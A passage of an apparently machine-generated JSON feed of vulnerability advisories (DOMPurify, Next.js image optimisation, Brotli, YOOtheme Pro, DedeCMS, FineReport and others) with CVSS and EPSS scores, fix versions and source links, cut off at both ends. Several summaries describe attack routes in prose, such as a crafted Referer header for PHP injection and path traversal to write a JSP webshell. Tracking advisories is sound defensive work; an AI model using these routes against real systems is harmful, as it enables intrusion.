**Primitive:** The adjacent fragments serialize as a single concatenated string on `shadowRoot.textContent` / `shadowRoot.innerHTML`, \n\nAffected package ranges reported by GitHub:\ndompurify: >= 3.4.4, <= 3.4.16","action":"GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:25:31.000Z","updatedAt":"2026-10-22T16:25:32.000Z","regions":["Global"],"vendor":null,"product":"dompurify","stacks":["JavaScript packages (npm)","dompurify","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cg2g-xh64-v4q7","asOf":"2026-10-22T16:25:32.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cg2g-xh64-v4q7","url":"https://github.com/advisories/GHSA-cg2g-xh64-v4q7","type":"primary","publishedAt":"2026-10-22T16:25:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cg2g-xh64-v4q7, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-2464-fhr4-w9xw","cveId":null,"aliases":[],"kind":"vulnerability","title":"Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used","summary":"A memory-related vulnerability has been discovered in an upstream library used for Image Optimization can lead to possible remote code execution (RCE) when Next.js runs on glibc-based Linux.\n\nEnsure the version of `sharp` used by Next.js is greater than or equal to `0.35.5`. Fresh installs automatically get a fixed version of `sharp`.\nUpgrading Next.js to the patched versions will ensure package managers automatically provide a fixed version of `sharp` to Next.js.","detail":"## Impact\n\nA memory-related vulnerability has been discovered in an upstream library used for Image Optimization can lead to possible remote code execution (RCE) when Next.js runs on glibc-based Linux.\n\n## Workaround\n\nEnsure the version of `sharp` used by Next.js is greater than or equal to `0.35.5`. Fresh installs automatically get a fixed version of `sharp`.\nUpgrading Next.js to the patched versions will ensure package managers automatically provide a fixed version of `sharp` to Next.js.\n\nAffected package ranges reported by GitHub:\nnext: >= 10.0.0, <= 15.5.27\nnext: >= 16.0.0, <= 16.4.0","action":"GitHub lists first patched versions: next: 15.5.28; next: 16.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:52:53.000Z","updatedAt":"2026-10-22T15:52:56.000Z","regions":["Global"],"vendor":null,"product":"next, next","stacks":["Next.js","JavaScript packages (npm)","next","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://github.com/advisories/GHSA-2464-fhr4-w9xw","asOf":"2026-10-22T15:52:56.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2464-fhr4-w9xw","url":"https://github.com/advisories/GHSA-2464-fhr4-w9xw","type":"primary","publishedAt":"2026-10-22T15:52:53.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-2464-fhr4-w9xw, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-9v8h-qqgm-4m35","cveId":null,"aliases":[],"kind":"vulnerability","title":"Brotli: Out-of-bounds write in the Brotli decoder (\"Node2Shell\") also affects the PyPI Brotli package","summary":"A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.","detail":"A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.\n\nAffected package ranges reported by GitHub:\nbrotli: >= 1.0.3, < 1.2.1\nbrotlicffi: >= 1.0.3, < 1.2.1.0","action":"GitHub lists first patched versions: brotli: 1.2.1; brotlicffi: 1.2.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:32:49.000Z","updatedAt":"2026-10-23T19:08:11.000Z","regions":["Global"],"vendor":null,"product":"brotli, brotlicffi","stacks":["Node.js","Python packages (PyPI)","brotli","brotlicffi","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9v8h-qqgm-4m35","asOf":"2026-10-23T19:08:11.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9v8h-qqgm-4m35","url":"https://github.com/advisories/GHSA-9v8h-qqgm-4m35","type":"primary","publishedAt":"2026-10-22T15:32:49.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9v8h-qqgm-4m35, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102785","cveId":"CVE-2026-102785","aliases":[],"kind":"vulnerability","title":"Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely...","summary":"Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote attacker can reuse a signature disclosed in a legitimate public image URL, inject additional image operations, traverse out of the intended cache directory, and write an attacker-controlled PNG/PHP polyglot to an executable public media directory.","detail":"Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote attacker can reuse a signature disclosed in a legitimate public image URL, inject additional image operations, traverse out of the intended cache directory, and write an attacker-controlled PNG/PHP polyglot to an executable public media directory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T13:17:27.470Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Joomla"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102785","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00699,"percentile":0.52862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102785&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102785","type":"primary","publishedAt":"2026-10-22T13:17:27.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102785&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102785, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112832","cveId":"CVE-2026-112832","aliases":[],"kind":"vulnerability","title":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File...","summary":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File Inclusion.This issue affects Rootblox: from n/a through 1.0.6.","detail":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File Inclusion.This issue affects Rootblox: from n/a through 1.0.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:33.163Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PHP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112832","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0044,"percentile":0.37921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112832","type":"primary","publishedAt":"2026-10-22T11:17:33.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48016","cveId":"CVE-2021-48016","aliases":[],"kind":"vulnerability","title":"DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included.","summary":"DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included. Unauthenticated attackers can send a crafted Referer to /plus/flink.php?dopost=save with an empty validate code to execute arbitrary PHP and system commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included. Unauthenticated attackers can send a crafted Referer to /plus/flink.php?dopost=save with an empty validate code to execute arbitrary PHP and system commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:04.690Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48016","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00441,"percentile":0.37996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48016","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48016","type":"primary","publishedAt":"2026-10-22T11:17:04.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48014","cveId":"CVE-2021-48014","aliases":[],"kind":"vulnerability","title":"FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via...","summary":"FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a __CONTENT__ payload to write a JSP webshell and achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a __CONTENT__ payload to write a JSP webshell and achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:04.390Z","updatedAt":"2026-10-23T22:16:51.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48014","asOf":"2026-10-23T22:16:51.227Z"},"epss":{"probability":0.02031,"percentile":0.80913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48014","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48014","type":"primary","publishedAt":"2026-10-22T11:17:04.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112327","cveId":"CVE-2026-112327","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.11.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:14.680Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112327","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0033,"percentile":0.25912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112327&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112327","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112327","type":"primary","publishedAt":"2026-10-22T09:17:14.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 